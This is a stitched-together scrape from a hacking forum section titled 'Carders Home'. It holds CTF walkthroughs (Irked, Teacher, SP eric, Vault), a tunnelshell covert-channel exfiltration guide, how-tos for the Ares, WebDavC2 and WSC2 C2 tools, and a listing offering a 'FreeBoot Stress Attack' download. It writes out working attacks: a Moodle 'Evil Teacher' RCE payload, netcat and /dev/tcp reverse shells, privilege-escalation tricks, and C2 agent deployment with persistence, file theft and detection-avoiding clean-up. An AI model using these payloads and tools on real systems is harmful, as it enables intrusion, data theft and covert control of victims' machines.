I found user.txt within /home/djmardov/documents, but since we’re logged as an ircd, there’s no permission to read this file. There was also a .backup hidden file and it gave us a “UPupDOWNdownLRlrBAbaSSs” password.
[Image: 5.png?w=687&ssl=1]

We found frustrated emoji in the beginning, requiring a passphrase to extract the hidden text behind the image. So, as a passphrase, I use the password above and found a pass.txt file from within irked.jpg.
steghide extract -sf irked.jpg
1
steghide extract -sf irked.jpg
I found another password from the inside pass.txt file “Kab6h+m+bbp2J: HG.”
[Image: 6.png?w=687&ssl=1]

Privilege Escalation
Now I use the following credential to connect with the victim’s machine through ssh.
Username: [email protected]
Password: Kab6h+m+bbp2J:HG
First, I open the user.txt file and finish the first challenge along with that. Now let’s penetrate more to find the root.txt file, and that’s why we need to increase the privilege, so I’m trying to find out if there’s any suid permission script.
ssh [email protected]
cat user.txt
find / -perm -u=s -type=f 2>/dev/null
1
2
3
ssh [email protected]
cat user.txt
find / -perm -u=s -type=f 2>/dev/null
Here /usr/bin/viewuser looks more interesting, let’s check it out.
[Image: 7.png?w=687&ssl=1]

So, when I run the program, I found that this application was being developed to set test user permissions but couldn’t find listusers file within /tmp. This program is, therefore, searching for data from the listusers file and the file is missing from the directory inside /tmp.
So what we can do is write a script to call bin / sh and save it as listusers inside /tmp and then run the viewuser to run it.
echo '/bin/sh' > /tmp/listusers
chmod 777 /tmp/listusers
/usr/bin/viewuser
1
2
3
echo '/bin/sh' > /tmp/listusers
chmod 777 /tmp/listusers
/usr/bin/viewuser
Boom!! We have root access now, let’s grab the root.txt file and finish the assigned task.
cd /root
ls
cat root.txt
1
2
3
cd /root
ls
cat root.txt
[Image: 8.png?w=687&ssl=1]

Today we are going to solve another CTF challenge “Teacher”. It is a retired vulnerable lab presented by Hack the Box for helping pentesters to perform online penetration testing according to your experience level; they have a collection of vulnerable labs as challenges, from beginners to Expert level.
Level: Intermediate
Task: To find user.txt and root.txt file
Note: Since these labs are online available, therefore, they have a static IP. The IP of Teacher is 10.10.10.153
Penetrating Methodology
Scanning

Network Scanning (Nmap)

Enumeration

Web Spidering (dirb)
Abusing HTTP service
Password Fuzzing (Wfuzz)

Exploiting

Evil Teacher Attack
Obtain Netcat session
Get config.php to obtain the MySQL password
Connect to MySQL
Extract tables to obtain login credentials
Get user.txt

Privilege Escalation

Symlinking root directory
Get root.txt

Walkthrough
Scanning
Let’s start off with our basic Nmap command to find out the open ports and services.
nmap -sC -sV -p- 10.10.10.153
1
nmap -sC -sV -p- 10.10.10.153
As you can observe that it has shown port 80 is open for http services.
[Image: 1.png?w=687]

We found a school website on exploring port 80, and I didn’t find a lot of information here. This website appears to be designed for online courses and the author may use some educational cms to design it.
[Image: 2.png?w=687]

Enumeration
Since it is a learning site that needs to be designed for online classes using a CMS platform. Therefore, I will go for the enumeration of the web directory without wasting much time.
dirb //10.10.10.153
1
dirb //10.10.10.153
If you notice the image below, you will find a web directory /moodle. The website is therefore proven to be designed on MOODLE CMS, let’s explore it further.
[Image: 3.png?w=687]

When I explored /10.10.10.153/moodle, it’s the “Giovanni Chhatta” teacher portal for online classes in Mathematics Algebra. If you’re looking for a moodle exploit, you’re going to see it vulnerable to SQL and RCE. So, to exploit it, we need to log in to this account, but we don’t have credentials.
[Image: 4.png?w=687]

I felt like the photo gallery looks suspicious while spidering because each row contains 4 tiles and one photo in the top left corner is missing.
[Image: 5.1.png?w=687]

Therefore, I check the source code of the page and there is some error where I saw picture 5. We need to download this picture to identify more about image error.
[Image: 5.png?w=687]

So, I downloaded this image 5 with the help of the wget command and identified the type of file.
wget //10.10.10.153/images/5.png
file 5.png
1
2
wget //10.10.10.153/images/5.png
file 5.png
Though it looks like an image, it was ASCII file that we could open in any text editor. As you can see with the help of the cat command, I opened the 5.png file where I found the “Giovanni” user password clue.
PASSWORD HINT: “I forgot the last character of my password. The only part I remembered is Th4C00lTheacha”
Since the password’s last character was missing, I created a wordlist with the command below.
crunch 15 15 -t Th4C00lTheacha^ -o pass.txt
1
crunch 15 15 -t Th4C00lTheacha^ -o pass.txt
[Image: 6.png?w=687]

Now let use wfuzz for fuzzing brute force using wordlist to identify valid login combination.
wfuzz -w pass.txt -L 20 -d "username=giovanni&password=FUZZ" -hw 1224 //10.10.10.153/moodle/login/index.php
1
wfuzz -w pass.txt -L 20 -d "username=giovanni&password=FUZZ" -hw 1224 //10.10.10.153/moodle/login/index.php
WoW!! We got HTTP 200 ok response for Giovanni: Th4C00lTheacha#
[Image: 7.png?w=687]

Exploiting
We get inside the dashboard with the help of the above login credential. Now let’s try to exploit if you’re going to google for moodle exploit then it’s going to show you EVIL TEACHER attack which you can read from

[To see content please register here]

We now need to edit a new activity in order to exploit it, so explore settings > edit > add an activity or resource. Now you’re going to get a prompt to select an activity you want to add, I’ve chosen a quiz here.
[Image: 9.png?w=687]

Then click on Ethical hacking quiz to add some question inside it.
[Image: 10-.png?w=687]

Click on Edit option for adding a question.
[Image: 11.png?w=687]

Now click on Add > + a new question which will open a console to add quiz question.
[Image: 12.png?w=687]

Choose “calculated” the question type to add.
[Image: 13.png?w=687]

Now, when you ask a question, you need to mention the answer in the given text area, but this is vulnerable to EVIL TEACHER attack. Now get the reverse shell we insert a formula in the filed text given to write the answer and then click on save the changes.
1?><?=log(1){a.`$_GET[0]`.({x})}?>
1
1?><?=log(1){a.`$_GET[0]`.({x})}?>
[Image: 14.png?w=687]

Start netcat in the local machine and then inject netcat reverse shell payload in the URL as shown in the image, click on next page:
nc -lvp 1234
&0(data;nc -e /bin/bash <attacker-IP> <listening port>)
1
2
nc -lvp 1234
&0(data;nc -e /bin/bash <attacker-IP> <listening port>)
[Image: 15.png?w=687]

Repeat the same to inject nc payload once again and execute the URL to get a netcat session.
&0(data;nc -e /bin/bash <attacker-IP> <listening port>)
1
&0(data;nc -e /bin/bash <attacker-IP> <listening port>)
You can see here that we pwned the target machine’s web shell, let’s explore more to get user.txt and root.txt. So, I check the directory list inside /moodle here that I found a config.php file.
[Image: 17.png?w=687]

I saw mysql login credential inside the config.php file as shown below.
[Image: 21.png?w=687]

Connect to MySQL to extract information from the database such as credentials for system login.
mysql -u root -p'Welkom1' moodle
show tables;
1
2
mysql -u root -p'Welkom1' moodle
show tables;
[Image: 22.png?w=687]

Here mdl_user table looks more interesting, let’s extract its column information in the hop to get some useful information.
show columns from mdl_user;
1
show columns from mdl_user;
WOW! WOW!! It includes the username and column of the password, let’s explore it.
[Image: 23.png?w=687]

select user,password from mdl_user;
1
select user,password from mdl_user;
Here I found 4 users with the md5 hash value, let’s try cracking them.
[Image: 24.png?w=687]

So, we got the password “expelled” by using the online md5 decryption tool.
[Image: 25.png?w=687]

Now use the credentials above and switch user account to try to locate the user.txt file.
su Giovanni
password: expelled
ls
cat user.txt
1
2
3
4
su Giovanni
password: expelled
ls
cat user.txt
Yeah! Yeah. We got our 1st flag successfully, now let’s find out about root.txt, but as we know it needs an escalation of privilege.
[Image: 26.png?w=687]

Privilege Escalation
So, while traversing, I found a backup_course.tar file inside /home/giovanni/work/tmp
[Image: 26.png?w=687]

I found a backup _course.tar file inside /home/giovanni/work/tmp while traversing.
[Image: 28.png?w=687]

Therefore, since the current directory has full permission, I try to link the root directory within the /tmp folder so that we can get backup of the root directory within the /tmp folder with the help of backup.sh.
ln -s /root tmp
1
ln -s /root tmp
[Image: 29.png?w=687]

Fantastic!! I found /root directory within /tmp after 1-2 minutes, which means that without root access we can get the root.txt file as shown below.
cd /tmp
ls
cd /root
ls
cat root.txt
1
2
3
4
5
cd /tmp
ls
cd /root
ls
cat root.txt
Booom!! We found root.txt successfully!!!!!!!!!!!
[Image: 30.png?w=687]

FreeBoot Stress Attack - Free Download

Posted by: ~~hacxx~~ - 05-14-2020, 02:19 PM - Forum: Hacking Tools - No Replies

[Image: print.jpg]

Download:

[To see content please register here]

[Guide] How to Covert Channel: The Hidden Network

Posted by: NINZA - 05-14-2020, 12:15 PM - Forum: Carders Home - No Replies

Generally, the hacker uses a hidden network to escape themselves from firewall and IDS such. In this post, you will learn how to steal information from the target machine through the undetectable network. Such type of network is known as a covert channel which seems as generic traffic to any network monitor device/application and network admin. It could be considered as steganography, but it is not exactly steganography. Two endpoint users can use the covert channel for undetectable communication from network admin.
The red teamers use covert channels for data exfiltration in red teaming operations through a legitimate network and the data exfiltration is a process of secretly sharing data between two endpoints.
Table of Content
What is Covert channel

Type of covert channel

Covert channel attack using tunnelshell

What is Tunnelshell
Covert ICMP Channel
Covert HTTP Channel
Covert DNS Channel

What is the covert channel?
The word covert means “hidden or undetectable” and Channel is “communication mode”, hence a covert channel denotes an undetectable network of communication. This makes the transmission virtually undetectable by administrators or users through a secret channel. It’s very essential to know the difference between encrypted communication and covert communication. In covert communication, the data stream is garbled and lasting by an unauthorized party. However, encrypted communications do not hide the fact that there has been a communication by encrypted the data travelling between both endpoints.
Type of covert channel
Storage covert Channel: Communicate by modifying a “storage location”, that would allow the direct or indirect writing of a storage location by one process and the direct or indirect reading of it by another.
Timing Covert channels – Perform operations that affect the “real response time observed” by the receiver.
Note: The well – known Spectre and Meltdown use a system’s page cache as their covert channel for exfiltrating data.
The specter and Meltdown attacks work by tricking your computer into caching privileged memory and through miscalculated speculative execution, a lack of privilege checking in out-of-order execution, and the power of the page cache. Once privileged memory is accessed the processor caches the information and the processor is able to retrieve it from the cache, regardless of whether its privileged information or not.
Read the complete article from

[To see content please register here]

.
Covert Channel Attack Using Tunnelshell
It is possible to use almost any protocol to make a covert channel. The huge majority of covert channel research has based on layer 3 (Network) and layer 4 (Transport) protocols such as ICMP, IP and TCP. Layer 7 (Application) protocols such as HTTP and DNS are also frequently used. This mechanism for conveying the information without alerting network firewalls and IDSs and moreover undetectable by netstat.
What is tunnelshell?
Tunnelshell is a program written in C for Linux users that works with a client-server paradigm. The server opens a /bin/sh that clients can access through a virtual tunnel. It works over multiple protocols, including TCP, UDP, ICMP, and RawIP, will work. Moreover, packets can be fragmented to evade firewalls and IDS.
Let’s go with practical for more details.
Requirement

Server (Kali Linux)
Client (Ubuntu18.04)
Tool for Covert Channel (Tunnelshell) which you can download from
[To see content please register here]
.

Here, I’m assuming we already have a victim’s machine session through the c2 server. Now we need to create a hidden communication channel for data exfiltration, therefore, install tunnelshell on both endpoints.
Once you download it, then extract the file and compile it as shown below:
tar xvfz tunnelshell_2.3.tgz
make
1
2
tar xvfz tunnelshell_2.3.tgz
make
[Image: 2.png?w=687]

Similarly, repeat the same at the other endpoint (victim’s machine) and after completion, execute the following command in the terminal to open communication channel for the server (Attacker).
sudo ./tunneld
1
sudo ./tunneld
By default, it sends fragment packet, which reassembles at the destination to evade from firewall and IDS.
[Image: 4.png?w=687]

Now to connect with tunnelshell we need to execute the following command on the server (Attacker’s machine) which will establish a covert channel for data exfiltration.
Syntax: ./tunnel -i <session id (0-65535)> -d <delay in sending packets> -s <packet size> -t <tunnel type> -o <protocol> -p <port> -m <ICMP query> -a <ppp interface> <Victim’s IP>
./tunnel -t frag 10.10.10.2
1
./tunnel -t frag 10.10.10.2
frag: It uses IPv4 fragmented packets to encapsulate data. When some routers and firewalls (like Cisco routers and default Linux installation) receives fragmented packets without headers for the fourth layer, they permit pass it even if they have a rule that denies it. As you can observe that it is successfully connected to 10.10.10.2 and we are to access the shell of the victim’s machine.
[Image: 5.png?w=687]

As I had said, if you will check the network statics using netstat then you will not observe any process ID for tunnelshell. From the given below image, you can observe that with the help of ps command I had checked in process for tunnelshell and then try to check its process id through netstat.
ps |grep .tunneld
netstat –ano
1
2
ps |grep .tunneld
netstat –ano
[Image: 6.1.png?w=687]

Let’s take a look of network traffic generated between 10.10.10.1 (Attacker’s IP) and10. 10.10.2 (Victim’s IP) using Wireshark. The network flow looks generic between both endpoints, but if it monitors properly, then a network administrator could sniff the data packet. As you can observe that Wireshark has captured the covert traffic and sniff the data that was travelling between two endpoint devices.
[Image: 6.png?w=687]

Covert ICMP Channel
As we know Ping is the use of ICMP communication that use icmp echo request and icmp echo reply query to establish a connection between two hosts, therefore, execute the below command:
sudo ./tunneld -t icmp -m echo-reply, echo
1
sudo ./tunneld -t icmp -m echo-reply, echo

Now to connect with tunnelshell we need to execute the following command on the server (Attacker’s machine) which will establish a covert channel for data exfiltration.
./tunnel -t icmp -m echo-reply,echo 10.10.10.2
1
./tunnel -t icmp -m echo-reply,echo 10.10.10.2
As you can observe that it is successfully connected to 10.10.10.2 and the attacker is able to access the shell of the victim’s machine.
[Image: 8.png?w=687]

Again, if you will capture the traffic through Wireshark then you will notice the ICMP echo request and reply packet is being travelled between both endpoints. And if you will try to analysis these packets then you will be able to see what kind of payload is travelling as ICMP data.
[Image: 9.png?w=687]

Covert HTTP Channel
It establishes a virtual TCP connection without using three-way handshakes. It doesn’t bind any port, so you can use a port already use it by another process, therefore execute the below command:
sudo ./tunneld -t tcp -p 80,2000
1
sudo ./tunneld -t tcp -p 80,2000

Now to connect with tunnelshell we need to execute the following command on the server (Attacker’s machine) which will establish a covert channel for data exfiltration.
./tunnel -t tcp -p 80,2000 10.10.10.2
1
./tunnel -t tcp -p 80,2000 10.10.10.2
As you can observe that it is successfully connected to 10.10.10.2 and again attacker is able to access the shell of the victim’s machine.
[Image: 11.png?w=687]

on other side, if you consider the network traffic then you will notice a tcp communication establish without three-way-handshake between source and destination.
[Image: 12.png?w=687]

Covert DNS Channel
To establish DNS covert channel, we need to run UDP tunnel mode on both endpoint machines. Therefore, execute the following command on the victim’s machine:
sudo ./tunneld -t udp -p 53,2000
1
sudo ./tunneld -t udp -p 53,2000

Similarly, execute following on your (Attacker) machine to connect with a tunnel.
./tunnel -t udp -p 53,2000 10.10.10.2
1
./tunnel -t udp -p 53,2000 10.10.10.2
[Image: 14.png?w=687]

As you can observe here the DNS malformed packet contains the data travelling between both endpoint machine.
[Image: 15.png?w=687]

Conclusion: Covert channel does not send encrypted data packet while data exfiltration, therefore, it can easily sniff, and network admin can easily conduct data loss and risk management.

Hello friends! Today we are going to take another CTF challenge known as “SP eric”. The credit for making this VM machine goes to “

[To see content please register here]

”. Our goal is to get 2 flags to complete the challenge.
They are located at:
/root/flag.txt
/home/eric/flag.txt
You can download this VM

[To see content please register here]

.
Security Level: Beginner
Penetrating Methodology:

Network scanning (Nmap)
Surfing HTTP service port
Enumerating directories using Dirb
Dumping git files using gitdumper
Extracting git file using Extractor
Enumerating for Login Credentials
Uploading PHP reverse shell
Getting user flag
Editing the file with a php shell
Getting the root flag

Walkthrough
We will start the cracking of this CTF with a port scan using nmap. Through the nmap scan, we get that we have the port 80 open. Also as we can see in the given image that we have also discovered the .git directory.
nmap -A 192.168.1.18
1
nmap -A 192.168.1.18
[Image: 1.png?w=687]

By convention, if we have the port 80, we try and open the IP Address in the Web Browser. In doing so we see a message of “Blog under construction”. This seems like a Dead End. Let’s try another approach.
[Image: 2.png?w=687]

We ran a directory bruteforce using the dirb tool. This revealed the admin.php, index.php and a directory named “upload”. We will try to discover all these to enumerate as much as we can.
dirb //192.168.1.18
1
dirb //192.168.1.18
[Image: 3.png?w=687]

On opening the admin.php, we get a form with the Username and Password fields. Seeing a form, our basic instinct was the SQL Injections. We spent a little time on that, then we took the advice of author that there is no use of Bruteforcing. We will have to figure our some another way.
[Image: 4.png?w=687]

Now, back on the nmap scan, we did in the beginning. We found a Git repository. On browsing a few sites on Google, we found this epic tool called GitTools. We cloned this tool on our Desktop as shown in the given image. After that, we traversed in the GitTools Directory to using the cd command. Here, we found 3 tools: Dumper, Extractor, Finder. We will use this tool to enumerate this git.
git clone //github.com/internetwache/GitTools.git
cd GitTools/
ls
1
2
3
git clone //github.com/internetwache/GitTools.git
cd GitTools/
ls
[Image: 5.png?w=687]

First, we traversed into the Dumper directory to use the gitdumper tool. This tool will dump all the files on the git. We will have to give a destination directory to use it. This tool can be used as shown in the given image.
./gitdumper.sh

[To see content please register here]

dest-dir
1
./gitdumper.sh

[To see content please register here]

dest-dir

Now that we have successfully dumped the git files using the gitdumper tool. It’s time to use the Extractor tool. For this, we will have to traverse inside the Extractor directory within the GitTools. Now to use the extractor we will have to give the path of the destination directory in with we dumped the git files using the gitdumper.
[Image: 7.png?w=687]

./extractor.sh ../Dumper/dest-dir ./dest-dir
1
./extractor.sh ../Dumper/dest-dir ./dest-dir
The Extractor tool will create the directories based on the commits on the git that we dumped earlier which can be observed in the given image. Three directories were created in response to three commits on the git. We traversed in the directory named “0-3db5628b550f5c9c9f6f663cd158374035a6eaa0/” to find three file: admin.php, commit-meta.txt and index.php. We read the admin.php file using the cat command to find the username and password for the form we found earlier. We made a note of these credentials.
ls
cd 0-3db5628b550f5c9c9f6f663cd158374035a6eaa0/
ls
cat admin.php
1
2
3
4
ls
cd 0-3db5628b550f5c9c9f6f663cd158374035a6eaa0/
ls
cat admin.php
[Image: 8.png?w=687]

We went back to the admin form we discovered earlier and entered the login credentials we found in the git. This was a successful login. Upon logging in we found more forms, titled: Add new post and Add site to blogroll. Here, we found an Upload option.
[Image: 9.png?w=687]

So, we entered the necessary information in the various field on the page and selected a php reverse shell in the location of uploading the file. After all the entries filled, we clicked on the add button to upload the file with this entry.
[Image: 10.png?w=687]

Even though the file was successfully uploaded, to get the session, we will have to execute the file on the target machine. Back to the nmap scan, we found a directory called “upload”. It’s time to get to that directory. We used the name of the php file we uploaded to execute the file on the target system as shown in the given image.
[Image: 11.png?w=687]

On the other side, in a new terminal, we created a netcat listener at the port that we mentioned the php reverse shell script. Upon Execution, we got the shell of the target system. To get a proper shell, we used the python one-liner. After getting the proper shell, we used the ls command to enumerate for the flag. We traversed in the eric directory. Here we found the 1st flag as shown in the given image. We also found a file named backup.sh. As we can see in the given image that the backup.sh file has all the permission required and it runs as root.
nc -lvp 1234
python3 -c 'import pty;pty.spawn("/bin/bash")'
cd /home
ls -al
cd eric
ls -al
cat flag.txt
1
2
3
4
5
6
7
nc -lvp 1234
python3 -c 'import pty;pty.spawn("/bin/bash")'
cd /home
ls -al
cd eric
ls -al
cat flag.txt
[Image: 12.png?w=687]

So, we have to target the backup.sh file to get the root shell on the target machine. We created a msfvenom script to exploit the target machine. We used the reverse_bash payload to create this script.
msfvenom -p cmd/unix/reverse_bash lhost=192.168.1.4 lport=4455 R
1
msfvenom -p cmd/unix/reverse_bash lhost=192.168.1.4 lport=4455 R
[Image: 13.png?w=687]

We copied the script contents and then we moved the session we had on the target machine and here we edited the backup.sh file with our script using the echo command.
echo "0<&171-;exec 171<>/dev/tcp/192.168.1.4/4455;sh <&171 >&171 2>&171" > backup.sh
1
echo "0<&171-;exec 171<>/dev/tcp/192.168.1.4/4455;sh <&171 >&171 2>&171" > backup.sh

cat backup.sh
1
cat backup.sh
[Image: 14.png?w=687]

On a new terminal, we started a netcat listener on the port that we mentioned while creating the script using msfvenom. When we ran the file backup.sh file, we have a root session. Being an improper shell, we improved it using the python one-liner. Here, we traversed in the root directory. We found the root flag here in this directory as shown in the given image.
nc -lvp 4455
id
python3 -c 'import pty;pty.spawn("/bin/bash")'
cd /root
ls
cat flag.txt
1
2
3
4
5
6
nc -lvp 4455
id
python3 -c 'import pty;pty.spawn("/bin/bash")'
cd /root
ls
cat flag.txt
[Image: 15.png?w=687]

In this article, we will learn how to use Ares tool. This tool performs the Command and Control over the Web Interface. This tool can be found on

[To see content please register here]

.
Table of Content:

Introduction
Installation
Exploiting Target
Command Execution
Capturing Screenshot
File Download
Compressing Files
Persistence Agent
Clean Up

Introduction
Ares is a Python Remote Access Tool. Ares is made of two main programs: A Command & Control server, which is a Web interface to administer the agents and an agent program, which runs on the compromised host, and ensures communication with the CNC. The credit for creating this tool goes to

[To see content please register here]

.
For this particular demonstration,
Attacker: Kali Linux
Target: Windows 10
Installation
To begin first, we need the tool on our Attacker Machine. To do this, we will clone the tool directly from the GitHub. After Cloning, we traversed into the newly created directory called Ares through the cd command as shown in the image.
git clone

[To see content please register here]

cd Ares
ls
1
2
3
git clone

[To see content please register here]

cd Ares
ls
[Image: 1.png?w=687&ssl=1]

Now, to make the tool work we will be needing to install some prerequisites. Let’s start from the file that we cloned earlier name requirements.txt. This file contains the details of the python libraries that are required to be installed.
pip install -r requirements.txt
1
pip install -r requirements.txt
[Image: 2.png?w=687&ssl=1]

Now as we have our target a Windows Machine, we will need to compile the agent that is compatible with the Windows Machine. To do that we will be needing wine. So, using the file that we cloned earlier, let’s begin the wine installation. Now this will take a bit of time.
ls
./wine_setup.sh
1
2
ls
./wine_setup.sh
[Image: 3.png?w=687&ssl=1]

Exploiting Target
Now that we have successfully installed all the requirements needed to run the Ares tool. Its time to gain the Command and Control Session. To do this we are going to need an agent. For this, we use the cd command to traverse into the agent directory. After that, we list the contents of the file to find a config file. We will be needing to edit the file so as to gain the session.
cd agent/
ls
nano config.py
1
2
3
cd agent/
ls
nano config.py
[Image: 4.png?w=687&ssl=1]

As we can see, when we open the config file using the nano command. We see that the SERVER variable has an IP Address. We are going to edit it and change it to the internal IP address of the attacker machine, which in my case is 192.168.1.4. We don’t require any further changes. So Save and Exit the nano editor.
[Image: 5.png?w=687&ssl=1]

Now that we have configured the config file, Its time to create an agent. As we have a Windows Machine as a target. We will be creating a windows agent using the command given below.
./builder.py -p Windows –server

[To see content please register here]

-o agent.exe
1
./builder.py -p Windows –server

[To see content please register here]

-o agent.exe
[Image: 6.png?w=687&ssl=1]

Now, we will send this agent to the target machine by any means of preference. After that, we will be needing to launch the server. This is required as the agent will communicate to this server. Let’s get back to the Ares directory. Here we have a sub-directory called server. After traversing in it we will have to initiate the database for that we will be using the initdb parameter. Initiating the database is to be done only the first time. Now we will run the server as shown in the given image.
ls
cd server/
./ares.py initdb
./ares.py runserver -h 0.0.0.0 -p 8080 --threaded
1
2
3
4
ls
cd server/
./ares.py initdb
./ares.py runserver -h 0.0.0.0 -p 8080 --threaded

[Image: 7.png?w=687&ssl=1]

Now we will open the server IP in our browser. Here we will see a form asking for the password as shown in the given image. We entered the password and clicked on Define to continue.
[Image: 8.png?w=687&ssl=1]

Now that the password is defined, we will have to enter the password to log in.
[Image: 9.png?w=687&ssl=1]

Here we have the main index of the Ares GUI. It has the following links: Change Password, Disconnect, Agent List. Now, we will go back to the step where we created an agent. Only after we execute the agent on the target machine, we will get a line Agent in Agent List.
[Image: 10.png?w=687&ssl=1]

As we can see the image given below, that we have an agent alive. We have the name of the agent, status, user that was logged in when the agent went live, we have the hostname too. We are also informed about the IP Address and Operating System of the target. Here we could run the agent on multiple devices each one of them will be visible here. We can select sessions from here and execute the same command on multiple session at the same time. We will have to click on the name to proceed.
[Image: 11.png?w=687&ssl=1]

Command Execution
As Ares runs the Power Shell commands, let’s start with the System Information command. As we can see that we have all the system config information of the target machine.
systeminfo
1
systeminfo
[Image: 12.png?w=687&ssl=1]

Capturing Screenshot
Now, Let’s take a screenshot of the target machine. To do this we will type in the screenshot command and the agent will capture the screenshot and provide a link as shown in the figure. On opening this link the screenshot can be viewed.
screenshot
1
screenshot
[Image: 13.png?w=687&ssl=1]

File Download
We can also download files from the remote target using this agent. To do this we require the name of the file. This can be obtained using the dir command. Now once we have the filename, we will download it to our local attacker machine as shown in the image given below.
download file.txt
1
download file.txt
[Image: 14.png?w=687&ssl=1]

Compressing Files
We can compress a directory on the remote target using the Ares agent. For this, we require the name of the directory. After we extract the name of the directory, we can compress the file remotely using the command given below. Here, we have ‘sample’ the name of the directory and ‘compressed.zip’ the name of the compressed file.
zip compressed.zip sample
1
zip compressed.zip sample

[Image: 15.png?w=687&ssl=1]

Persistence Agent
We could invoke the persistence in the agent using the command persist. This command installs the agent on the remote target.
persist
1
persist
[Image: 16.png?w=687&ssl=1]

Clean Up
This tool also performs the clean up after the work through the session Is done. This command removes the agent from the target machine. Hence it goes on undetectable.
clean
1
clean
[Image: 17.png?w=687&ssl=1]

In this article, we will learn how to use WebDav C2 tool.
Table of Content:

Introduction
Installation
Exploiting Target
Command Execution

Introduction
WebDavC2 uses the WebDAV protocol with PROPFIND only requests to serve as a C2 communication channel between an agent, running on the target system, and a controller acting as the actual C2 server. This tool is developed using python. The credit for developing this tool goes to

[To see content please register here]

.
WebDavC2 is composed of a controller, which acts as the C2 server. It also comprises of an agent, written in C#/.Net, running on the target system. It is delivered to the target system via various initial stagers. It also consists of various types of initial stagers (created on the fly when the controller starts) used for the initial compromisation of the target system.
For this particular demonstration,
Attacker: Kali Linux
Target: Windows 10
Installation
To begin, first we need the tool on our Attacker Machine. To do this, we will clone the tool directly from the GitHub.
git clone

[To see content please register here]

1
git clone

[To see content please register here]

After running the above command, we would have a directory created by the name of WSC2. Now, we will traverse inside that directory using the cd command. Let’s see the contents of the directory that we just cloned using the ls command.
cd WebDavC2/
ls
chmod +x webdavC2.py
1
2
3
cd WebDavC2/
ls
chmod +x webdavC2.py
[Image: 2.png?w=687&ssl=1]

Exploiting Target
As we run the tool, we are greeted with a cool looking banner as shown in the given below. Followed by some details about the Author and Version and tool. After this it will create multiple stagers in Batch, Macro and Jscript as shown in the figure below. It also starts an WebDav Server at the IP provided at port 80.
python webdavC2.py
1
python webdavC2.py
[Image: 3.png?w=687&ssl=1]

Now we have to send the files to the target. For this we will open a new terminal and traverse inside the stagers directory. Here as we can see that we have multiple stagers. Let’s try to open the batch file, here we see that the PowerShell batch file in encrypted. Now we will sent these stagers to the target using the python server.
cd stagers/
ls
cat stager.bat
python -m SimpleHTTPServer 80
1
2
3
4
cd stagers/
ls
cat stager.bat
python -m SimpleHTTPServer 80
[Image: 4.png?w=687&ssl=1]

Command Execution
After the stager is executed, we are provided with a prompt to run commands. Here we run the command systeminfo. And we have the system information of the target as shown in the given image.
systeminfo
1
systeminfo
[Image: 5.png?w=687&ssl=1]

[Guide] How to Command & Control: WebSocket C2

Posted by: NINZA - 05-14-2020, 12:02 PM - Forum: Carders Home - No Replies

In this article, we will learn how to use WebSocket C2 tool. It is also known as WSC2.
Table of Content:

Introduction
Installation
Exploiting Target
Command Execution
File Download

Introduction
WSC2 is primarily a tool for post-exploitation. WSC2 uses the WebSocket and a browser process. This serves as a C2 communication channel between an agent, running on the target system, and a controller acting as the actual C2 server. This tool is developed using python. The credit for developing this tool goes to

[To see content please register here]

.
For this particular demonstration,
Attacker: Kali Linux
Target: Windows 10
Installation
To begin, first we need the tool on our Attacker Machine. To do this, we will clone the tool directly from the GitHub.
git clone //github.com/Arno0x/WSC2.git
1
git clone //github.com/Arno0x/WSC2.git
[Image: 1.png?w=687]

After that we are going to need to install the dependencies of the tool. There are multiple ways to do this, but here we are using pip command along with a requirements.txt file that we cloned from git earlier.
pip install -r requirements.txt
1
pip install -r requirements.txt
[Image: 3.png?w=687]

As we saw earlier that we have a config.py file inside the cloned directory. We have to make some changes inside this config.py file so as to get the session on our system. We used nano to edit the file. As shown in the figure, when we opened the config.py file using nano, we found a variable CALLBACK. It has an IP Address. We changed it to the IP Address of our Attacker Machine i.e Kali Linux.
nano config.py
1
nano config.py
[Image: 4.png?w=687]

We are going to create a batch file. But we can use many other types of stager options. This tool provides stager in jscript1, jscript2, jscript3. We are using jscript1 here because it is not required to compile. Rest of the stagers are required to compile. This command will create a wsc2Agent1.js in stagers directory.
genStager jscript1
1
genStager jscript1
[Image: 6.png?w=687]

Now let’s get the file to the target machine. To do this we will open up a new terminal and traverse into the stagers directory using the cd command. Here, we are using the python server to share the file to the target. This can be done using any other method of choice.
cd stagers/
ls
python -m SimpleHTTPServer 80
1
2
3
cd stagers/
ls
python -m SimpleHTTPServer 80
[Image: 7.png?w=687]

After the jscript file is executed on the target machine, we will be informed with a message on the terminal that New agent connected. Now we will use the list command to see the list of the agents.
list
1
list
[Image: 8.png?w=687]

And then we will copy the AgentID and then use it to interact with the session as shown in the given image.
use [AgentID]
1
use [AgentID]

Command Execution
We can run some PowerShell commands on the target machine using the command cli. Here we run the command systeminfo. And we have the system information of the target as shown in the given image.
cli
systeminfo
1
2
cli
systeminfo
[Image: 10.png?w=687]

File Download
Furthermore, we can download files from the target. To do this we will have to use the command getFile followed by the file name or path. This will download the file form the target to our attacker machine.
help getFile
getFile sample_text.txt
1
2
help getFile
getFile sample_text.txt
[Image: 11.png?w=687]

The tool will download the file inside the incoming directory we discussed earlier. We can view the file using cat command as shown in the image given below.
cd incoming/
ls
cat sample_file.txt
1
2
3
cd incoming/
ls
cat sample_file.txt
[Image: 12.png?w=687]

Today we are going to solve another CTF challenge “Vault”. It is a retired vulnerable lab presented by Hack the Box for helping pentesters to perform online penetration testing according to your experience level; they have a collection of vulnerable labs as challenges, from beginners to Expert level.
Level: Intermediate
Task: To find user.txt and root.txt file
Note: Since these labs are online available, therefore, they have a static IP. The IP of Curling is 10.10.10.109
Penetrating Methodology

Network scanning (Nmap)
Surfing the IP address on the browser
Surfing directories on the browser
Using dirb for directory scanning
Creating Payload using msfvenom
Getting Meterpreter Session
Enumerating through directories
Getting SSH login credentials
Logging into SSH
Pinging Host IP
Scanning Ports on Host IP
Dynamic Port forwarding with SSH
Updating the VPN Configuration file
Executing Netcat listener
Finding user.txt
Getting SSh Login Credentials
Using the proxy command option
Escaping restricted shell
Using gpg to decrypt root.txt.gpg file
Converting the file in the base64 string using python3m
Using echo to decrypt the string
Reading our Root Flag

Walkthrough
Let’s start off with our basic Nmap command to find out the open ports and services.
nmap -p- -sV -sC 10.10.10.109
1
nmap -p- -sV -sC 10.10.10.109
[Image: 1.png?w=687]

As port 80 is running HTTP service, we open the IP address in the web browser.
[Image: 2.png?w=687]

We thought of opening sparklays in the browser along with the Machines IP. But it turned out to be forbidden.
[Image: 3.png?w=687]

We don’t find anything on the web page, so we further enumerate the web service using dirb scan.
dirb //10.10.10.109/sparklays/ -w
1
dirb //10.10.10.109/sparklays/ -w
[Image: 4.png?w=687]

From dirb scan, we found a useful directory /design/design.html which we opened in the browser. Since the only thing left to do on this Page is to click on Change Logo.
